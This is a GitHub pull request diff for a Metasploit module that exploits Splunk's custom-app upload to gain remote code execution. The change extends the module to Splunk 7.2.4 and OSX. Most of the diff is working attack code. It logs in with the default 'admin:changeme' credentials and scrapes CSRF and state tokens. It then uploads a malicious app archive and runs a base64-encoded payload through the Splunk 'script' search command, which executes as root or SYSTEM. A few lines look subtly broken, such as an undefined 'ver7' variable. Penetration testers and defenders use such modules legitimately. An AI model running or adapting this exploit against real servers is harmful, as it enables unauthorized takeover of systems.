Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add support for splunk 7.2.4 to 'Splunk Custom App Remote Code Execution' #11577

Closed
wants to merge 12 commits into from
212 changes: 183 additions & 29 deletions modules/exploits/multi/http/splunk_upload_app_exec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -20,13 +20,15 @@ def initialize(info = {})
role is required. By default, this module uses the credential of "admin:changeme",
the default Administrator credential for Splunk. Note that the Splunk web interface
runs as SYSTEM on Windows, or as root on Linux by default. This module has been
tested successfully against Splunk 5.0, 6.1, and 6.1.1.',
tested successfully against Splunk 5.0, 6.1, 6.1.1 and 7.2.4
Version 7.2.4 has been tested successfully against OSX as well',
'Author' =>
[
"marcwickenden", # discovery and metasploit module
"sinn3r", # metasploit module
"juan vazquez", # metasploit module
"Gary Blosser" # metasploit module updates for Splunk 6.1
"marcwickenden", # discovery and metasploit module
"sinn3r", # metasploit module
"juan vazquez", # metasploit module
"Gary Blosser", # metasploit module updates for Splunk 6.1
"Matteo Malvica" # metasploit module updates for Splunk 7.2.4
],
'License' => MSF_LICENSE,
'References' =>
Expand All @@ -40,9 +42,27 @@ def initialize(info = {})
'Space' => 1024,
'DisableNops' => true
},
'Platform' => %w(linux unix win),
'Platform' => %w(linux unix win osx),
'Targets' =>
[
[ 'Splunk >= 7.2.4 / Linux',
{
'Arch' => ARCH_CMD,
'Platform' => %w(linux unix)
}
],
[ 'Splunk >= 7.2.4 / Windows',
{
'Arch' => ARCH_CMD,
'Platform' => 'win'
}
],
[ 'Splunk >= 7.2.4 / OSX',
{
'Arch' => ARCH_CMD,
'Platform' => %w(linux unix)
}
],
[ 'Splunk >= 5.0.1 / Linux',
{
'Arch' => ARCH_CMD,
Expand Down Expand Up @@ -96,36 +116,55 @@ def exploit
# set up some variables for later use
@auth_cookies = ''
@csrf_form_key = ''
@state_token = ''
@splunkweb_csrf_token_8000_id = ''
@csrf_form_port = "splunkweb_csrf_token_#{rport}" # Default to using rport, corrected during tokenization for v6 below.
@ver7 = false # splunk version 7 boolean

app_name = 'upload_app_exec'
p = payload.encoded
print_status("Using command: #{p}")
cmd = Rex::Text.encode_base64(p)

# log in to Splunk (if required)
do_login
# check if the target version is 7.2.4
if target.name.include? "7.2.4"
uf0o marked this conversation as resolved.
Show resolved Hide resolved
@ver7 = true
end

do_login

# fetch the csrf token for use in the upload next
do_get_csrf('/en-US/manager/launcher/apps/local')
if @ver7 == true
do_get_state_token('/en-US/manager/appinstall/_upload')
else
do_get_csrf('/en-US/manager/launcher/apps/local')
end

unless disable_upload
# upload the arbitrary command execution Splunk app tgz
do_upload_app(app_name, file_name)
if @ver7 == true
do_upload_app_7(app_name, file_name)
else
do_upload_app(app_name, file_name)
end
end

# get the next csrf token from our new app
do_get_csrf("/en-US/app/#{app_name}/flashtimeline")

if @ver7 == false
# get the next csrf token from our new app
do_get_csrf("/en-US/app/#{app_name}/flashtimeline")
end

# call our command execution function with the Splunk 'script' command
print_status("Invoking script command")
res = send_request_cgi(
'uri' => '/en-US/api/search/jobs',
if @ver7 == true
res = send_request_cgi(
'uri' => '/en-US/splunkd/__raw/servicesNS/admin/search/search/jobs',
'method' => 'POST',
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
'cookie' => "#{@auth_cookies};", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Form-Key' => @csrf_form_key # Version 6 ignores extra headers (verified)
'X-Splunk-Form-Key' => @splunkweb_csrf_token_8000_id # Version 6 ignores extra headers (verified)
},
'vars_post' =>
{
Expand All @@ -143,11 +182,44 @@ def exploit
'timeFormat' => "%s.%Q"
}
)
else
res = send_request_cgi(
'uri' => '/en-US/api/search/jobs',
'method' => 'POST',
'cookie' => "#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}", # Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
'headers' =>
{
'X-Requested-With' => 'XMLHttpRequest',
'X-Splunk-Form-Key' => @csrf_form_key # Version 6 ignores extra headers (verified)
},
'vars_post' =>
{
'search' => "search * | script msf_exec #{cmd}", # msf_exec defined in default/commands.conf
'status_buckets' => "300",
'namespace' => "#{app_name}",
'ui_dispatch_app' => "#{app_name}",
'ui_dispatch_view' => "flashtimeline",
'auto_cancel' => "100",
'wait' => "0",
'required_field_list' => "*",
'adhoc_search_level' => "smart",
'earliest_time' => "0",
'latest_time' => "",
'timeFormat' => "%s.%Q"
}
)
end

if return_output
if ver7 == true
res.body.match('sid.*')
job_id_blob = Regexp.last_match(0)
job_id_blob2 = job_id_blob.split('>')[1]
job_id = job_id_blob2.split('<')[0]
else
res.body.match(/data":\ "([0-9.]+)"/)
job_id = Regexp.last_match(1)

end
# wait a short time to let the output be produced
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
select(nil, nil, nil, command_output_delay)
Expand Down Expand Up @@ -231,21 +303,44 @@ def do_login

if !res
fail_with(Failure::Unreachable, "No response")
elsif res.code != 200
fail_with(Failure::Unreachable, "Authentication failed")

elsif @ver7 == true
splunkweb_csrf_token_8000_port = ''
@splunkweb_csrf_token_8000_id = ''
splunkd_8000_port = ''
splunkd_8000_id = ''

#puts res
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
if v.split('=')[0] =~ /splunkweb_csrf_token_8000/
splunkweb_csrf_token_8000_port = v.split('=')[0]
@splunkweb_csrf_token_8000_id = v.split('=')[1]
elsif v.split('=')[0] =~ /splunkd_8000/ # regex as the full name is something like splunkweb_csrf_token_8000
splunkd_8000_port = v.split('=')[0] # Accounting for tunnels where rport is not the actual server-side port
splunkd_8000_id = v.split('=')[1]
end
end
@auth_cookies = "session_id_8000=37305a4fb182fadd28a1591b64a0b22b0765159e;#{splunkweb_csrf_token_8000_port}=#{@splunkweb_csrf_token_8000_id};#{splunkd_8000_port}=#{splunkd_8000_id}; splunkweb_uid=30A93112-7681-4C0D-B1F6-17CAB1FA2735;login=true"
end

else
session_id_port = ''
session_id = ''
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
if v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
session_id_port = ''
session_id = ''
res.get_cookies.split(';').each do |c|
c.split(',').each do |v|
if v.split('=')[0] =~ /session_id/
session_id_port = v.split('=')[0]
session_id = v.split('=')[1]
end
end
end
end
@auth_cookies = "#{session_id_port}=#{session_id}"
@auth_cookies = "#{session_id_port}=#{session_id}"
end
end

def do_upload_app(app_name, file_name)
archive_file_name = ::File.basename(file_name)
print_status("Uploading file #{archive_file_name}")
Expand Down Expand Up @@ -286,6 +381,48 @@ def do_upload_app(app_name, file_name)
end
end

# version 7.2.x only
def do_upload_app_7(app_name, file_name)
archive_file_name = ::File.basename(file_name)
print_status("Uploading file #{archive_file_name}")
file_data = ::File.open(file_name, "rb") { |f| f.read }
uf0o marked this conversation as resolved.
Show resolved Hide resolved

boundary = '---------------------------' + rand_text_numeric(29)

data = "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"state\"\r\n"
data << "\r\n#{@state_token}\r\n"

data << "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"splunk_form_key\"\r\n"
data << "\r\n#{@splunkweb_csrf_token_8000_id}\r\n"

data << "--#{boundary}\r\n"
data << "Content-Disposition: form-data; name=\"appfile\"; filename=\"#{archive_file_name}\"\r\n"
data << "Content-Type: application/x-compressed-tar\r\n\r\n"
data << file_data
data << "\r\n--#{boundary}\r\n"

data << "Content-Disposition: form-data; name=\"force\"\r\n\r\n"
data << "1"
data << "\r\n--#{boundary}--\r\n"

res = send_request_cgi(
{
'uri' => '/en-US/manager/appinstall/_upload',
'method' => 'POST',
'cookie' => "#{@auth_cookies};",
'ctype' => "multipart/form-data; boundary=#{boundary}",
'data' => data
}, 30)

if res && (res.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))
print_good("#{app_name} successfully uploaded")
else
fail_with(Failure::Unknown, "Error uploading")
end
end

def do_get_csrf(uri)
print_status("Fetching csrf token from #{uri}")
res = send_request_cgi(
Expand All @@ -306,10 +443,27 @@ def do_get_csrf(uri)
end
end
end

fail_with(Failure::Unknown, "csrf form Key not found") unless @csrf_form_key
end

# version 7.2.x only
def do_get_state_token(uri)
print_status("Fetching state token from #{uri}")
res = send_request_cgi(
'uri' => uri,
'method' => 'GET',
'cookie' => @auth_cookies
)
#puts res
res.body.match('name=\"state\" value="(.*)"') # Version 5
@state_token = Regexp.last_match(1)

unless @state_token
fail_with(Failure::Unknown, "state token form Key not found") unless @state_token

end
end

def fetch_job_output(job_id)
# fetch the output of our job id as csv for easy parsing
print_status("Fetching job_output for id #{job_id}")
Expand Down